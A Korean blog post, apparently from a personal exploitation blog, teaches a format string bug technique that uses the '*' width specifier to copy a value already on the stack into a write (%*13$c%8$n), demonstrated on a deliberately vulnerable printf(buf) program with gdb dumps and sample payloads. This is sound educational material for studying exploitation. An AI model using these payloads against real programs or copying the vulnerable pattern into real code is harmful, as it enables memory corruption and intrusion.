서론
최근에 format string bug 문제를 풀던 와중에,
스택의 값 자체를 쓸 수 있는 방법이 없을까 고민하다 정말 그 방법이 있다는 것을 알게되어 정리한다.
본론
간단히 예를 들어보자.
아래와 같이 코딩 후 컴파일하였다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(){
char buf[100];
read(0,buf,100);
printf(buf);
}
더불어 format string bug가 발생한 직후에 break point를 걸고 스택의 값들을 보면 아래와 같다.
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x7
$rbx : 0x007fffffffdea8 → 0x007fffffffe22c → "/home/kali/Downloads/test"
$rcx : 0x0
$rdx : 0x0
$rsp : 0x007fffffffdd20 → "wyv3rn\n"
$rbp : 0x007fffffffdd90 → 0x0000000000000001
$rsi : 0x005555555592a0 → "wyv3rn\n"
$rdi : 0x007fffffffd7c0 → 0x007ffff7e1de70 → <funlockfile+0> mov 0x88(%rdi), %rdi
$rip : 0x00555555555178 → <main+47> mov $0x0, %eax
$r8 : 0x55555557a000
$r9 : 0x21001
$r10 : 0x1000
$r11 : 0x202
$r12 : 0x0
$r13 : 0x007fffffffdeb8 → 0x007fffffffe246 → "CLUTTER_IM_MODULE=fcitx"
$r14 : 0x00555555557dd8 → 0x00555555555100 → <__do_global_dtors_aux+0> endbr64
$r15 : 0x007ffff7ffd020 → 0x007ffff7ffe2e0 → 0x00555555554000 → jg 0x555555554047
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
──────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fffffffdd20│+0x0000: "wyv3rn\n" ← $rsp
0x007fffffffdd28│+0x0008: 0x0000000000000000
0x007fffffffdd30│+0x0010: 0x0000000000000000
0x007fffffffdd38│+0x0018: 0x0000000000000000
0x007fffffffdd40│+0x0020: 0x0000000000000000
0x007fffffffdd48│+0x0028: 0x0000000000000000
0x007fffffffdd50│+0x0030: 0x0000000000000000
0x007fffffffdd58│+0x0038: 0x0000000000000000
────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x55555555516b <main+34> mov %rax, %rdi
0x55555555516e <main+37> mov $0x0, %eax
0x555555555173 <main+42> call 0x555555555030 <printf@plt>
→ 0x555555555178 <main+47> mov $0x0, %eax
0x55555555517d <main+52> leave
0x55555555517e <main+53> ret
0x55555555517f add %cl, -0x7d(%rax)
0x555555555182 <_fini+2> in (%dx), %al
0x555555555183 <_fini+3> or %cl, -0x7d(%rax)
────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "test", stopped 0x555555555178 in main (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x555555555178 → main()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
여기서 offset은 아래와 같다.
gef➤ r
Starting program: /home/kali/Downloads/test
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0x7ffff7fc9000'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
%p.%p.%p.%p.%p.%p
0x7fffffffdd20.0x64.0x7ffff7ec40ed.(nil).0x7ffff7fcf6a0.0x70252e70252e7025
본론으로 가보자.
지금까지 기본적인 format string bug의 구조는
%100c%6$n
과 같은 방식이었다.
즉, 100을 6번째 오프셋에 있는 주소에 쓰겠다는 것이다.
여기서 100이라는 값을 꼭 직접 써줘야할까?
스택에 이미 있는 값을 참조로 사용하면 안될까?
그 방법이 아래와 같다.
%*20$c%6$n #c던 s던 p던 상관없다
예를 들어보자.
조금 더 보기 쉽게하기 위해서 코드를 변경하였다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int vuln(){
char buf[10];
read(0,buf,10);
printf(buf);
}
int main(){
vuln();
}
vuln 함수의 printf 직후 break point를 걸고 gdb로 보면 아래와 같다.
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x7
$rbx : 0x007fffffffdea8 → 0x007fffffffe22c → "/home/kali/Downloads/test"
$rcx : 0x0
$rdx : 0x0
$rsp : 0x007fffffffdd70 → 0x7977000000000000
$rbp : 0x007fffffffdd80 → 0x007fffffffdd90 → 0x0000000000000001
$rsi : 0x005555555592a0 → "wyv3rn\n"
$rdi : 0x007fffffffd810 → 0x007ffff7e1de70 → <funlockfile+0> mov 0x88(%rdi), %rdi
$rip : 0x00555555555178 → <vuln+47> nop
$r8 : 0x55555557a000
$r9 : 0x21001
$r10 : 0x1000
$r11 : 0x202
$r12 : 0x0
$r13 : 0x007fffffffdeb8 → 0x007fffffffe246 → "CLUTTER_IM_MODULE=fcitx"
$r14 : 0x00555555557dd8 → 0x00555555555100 → <__do_global_dtors_aux+0> endbr64
$r15 : 0x007ffff7ffd020 → 0x007ffff7ffe2e0 → 0x00555555554000 → jg 0x555555554047
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
───────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fffffffdd70│+0x0000: 0x7977000000000000 ← $rsp
0x007fffffffdd78│+0x0008: 0x00000a6e723376 ("v3rn\n"?)
0x007fffffffdd80│+0x0010: 0x007fffffffdd90 → 0x0000000000000001 ← $rbp
0x007fffffffdd88│+0x0018: 0x00555555555189 → <main+14> mov $0x0, %eax
0x007fffffffdd90│+0x0020: 0x0000000000000001
0x007fffffffdd98│+0x0028: 0x007ffff7df318a → <__libc_start_call_main+122> mov %eax, %edi
0x007fffffffdda0│+0x0030: 0x0000000000000000
0x007fffffffdda8│+0x0038: 0x0055555555517b → <main+0> push %rbp
─────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x55555555516b <vuln+34> mov %rax, %rdi
0x55555555516e <vuln+37> mov $0x0, %eax
0x555555555173 <vuln+42> call 0x555555555030 <printf@plt>
→ 0x555555555178 <vuln+47> nop
0x555555555179 <vuln+48> leave
0x55555555517a <vuln+49> ret
0x55555555517b <main+0> push %rbp
0x55555555517c <main+1> mov %rsp, %rbp
0x55555555517f <main+4> mov $0x0, %eax
─────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "test", stopped 0x555555555178 in vuln (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x555555555178 → vuln()
[#1] 0x555555555189 → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
이 때 stack은 아래와 같고
gef➤ x/40gx $rsp
0x7fffffffdd70: 0x7977000000000000 0x0000000a6e723376
0x7fffffffdd80: 0x00007fffffffdd90 0x0000555555555189
0x7fffffffdd90: 0x0000000000000001 0x00007ffff7df318a
0x7fffffffdda0: 0x0000000000000000 0x000055555555517b
0x7fffffffddb0: 0x0000000100000000 0x00007fffffffdea8
0x7fffffffddc0: 0x00007fffffffdea8 0x434d298e8073e916
0x7fffffffddd0: 0x0000000000000000 0x00007fffffffdeb8
0x7fffffffdde0: 0x0000555555557dd8 0x00007ffff7ffd020
0x7fffffffddf0: 0xbcb2d6713b31e916 0xbcb2c630e2f5e916
0x7fffffffde00: 0x0000000000000000 0x0000000000000000
0x7fffffffde10: 0x0000000000000000 0x00007fffffffdea8
0x7fffffffde20: 0x00007fffffffdea8 0xcdc9457ab78fcf00
0x7fffffffde30: 0x000000000000000d 0x00007ffff7df3245
0x7fffffffde40: 0x000055555555517b 0x0000555555557dd8
0x7fffffffde50: 0x0000000000000000 0x0000000000000000
0x7fffffffde60: 0x0000000000000000 0x0000555555555060
0x7fffffffde70: 0x00007fffffffdea0 0x0000000000000000
0x7fffffffde80: 0x0000000000000000 0x0000555555555081
0x7fffffffde90: 0x00007fffffffde98 0x0000000000000038
0x7fffffffdea0: 0x0000000000000001 0x00007fffffffe22c
유의미한 값만 조금 상세히 써보면 아래와 같다.
gef➤ x/40gx $rsp
0x7fffffffdd70: 0x7977000000000000(rsp) 0x0000000a6e723376
0x7fffffffdd80: 0x00007fffffffdd90(rbp addr) 0x0000555555555189(main+14 addr)
0x7fffffffdd90: 0x0000000000000001(rbp) 0x00007ffff7df318a(main ret = libc_start_main_ret)
0x7fffffffdda0: 0x0000000000000000 0x000055555555517b(main+0)
...
대충 작성한 코드라... 익스 구현은 조금 어렵고, 간단하게 0x00007fffffffdd90에 큰 값을 쓰는 것을 시연해보자.
예를 들어 해당 위치에 main+0 address의 뒷 4 byte인 0x5555517b를 쓴다고 가정하자.
통상적인 페이로드라면
%1431654779c%9$n
이 될 것이다.
하지만, 현재 buf 변수 크기는 10이고, 문자열 길이는 16이기에 삽입이 불가능하다.
하지만 오프셋을 이용해서 해당 위치에 값을 쓰면 아래와 같은 페이로드로 작성 가능하다.
%*13$c%8$n
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x55555181
$rbx : 0x007fffffffdea8 → 0x007fffffffe22c → "/home/kali/Downloads/test"
$rcx : 0x0
$rdx : 0x0
$rsp : 0x007fffffffdd70 → 0x2a25000000000000
$rbp : 0x007fffffffdd80 → 0x007fffffffdd90 → 0x000000005555517b
$rsi : 0x2
$rdi : 0x007fffffffd810 → 0x007ffff7e1de70 → <funlockfile+0> mov 0x88(%rdi), %rdi
$rip : 0x00555555555178 → <vuln+47> nop
$r8 : 0x0
$r9 : 0x0
$r10 : 0x1000
$r11 : 0x0
$r12 : 0x0
$r13 : 0x007fffffffdeb8 → 0x007fffffffe246 → "CLUTTER_IM_MODULE=fcitx"
$r14 : 0x00555555557dd8 → 0x00555555555100 → <__do_global_dtors_aux+0> endbr64
$r15 : 0x007ffff7ffd020 → 0x007ffff7ffe2e0 → 0x00555555554000 → jg 0x555555554047
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
───────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fffffffdd70│+0x0000: 0x2a25000000000000 ← $rsp
0x007fffffffdd78│+0x0008: 0x6e24382563243331
0x007fffffffdd80│+0x0010: 0x007fffffffdd90 → 0x000000005555517b ("{QUU"?) ← $rbp
0x007fffffffdd88│+0x0018: 0x00555555555189 → <main+14> mov $0x0, %eax
0x007fffffffdd90│+0x0020: 0x000000005555517b
0x007fffffffdd98│+0x0028: 0x007ffff7df318a → <__libc_start_call_main+122> mov %eax, %edi
0x007fffffffdda0│+0x0030: 0x0000000000000000
0x007fffffffdda8│+0x0038: 0x0055555555517b → <main+0> push %rbp
─────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x55555555516b <vuln+34> mov %rax, %rdi
0x55555555516e <vuln+37> mov $0x0, %eax
0x555555555173 <vuln+42> call 0x555555555030 <printf@plt>
→ 0x555555555178 <vuln+47> nop
0x555555555179 <vuln+48> leave
0x55555555517a <vuln+49> ret
0x55555555517b <main+0> push %rbp
0x55555555517c <main+1> mov %rsp, %rbp
0x55555555517f <main+4> mov $0x0, %eax
─────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "test", stopped 0x555555555178 in vuln (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x555555555178 → vuln()
[#1] 0x555555555189 → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
이렇게 작성하는 경우의 장점은 무엇보다 stack의 값을 가져다 쓰기 때문에 leak이 불필요하다는 점이다.
단점은 한번에 많은 값을 쓰기에 해당 값만큼 쓰는 동안 server disconnection 가능성이 있다는 점이다.
'Tips & theory' 카테고리의 다른 글
git certificate fail (0) | 2023.08.16 |
---|---|
pip certificate error (0) | 2023.08.16 |
pwntools 64bit fmtstr_payload (0) | 2023.02.12 |
vscode 탐색기에서 불필요한 파일 숨기기 (0) | 2023.02.12 |
Legendre Symbol - 르장드르 기호 (0) | 2023.02.09 |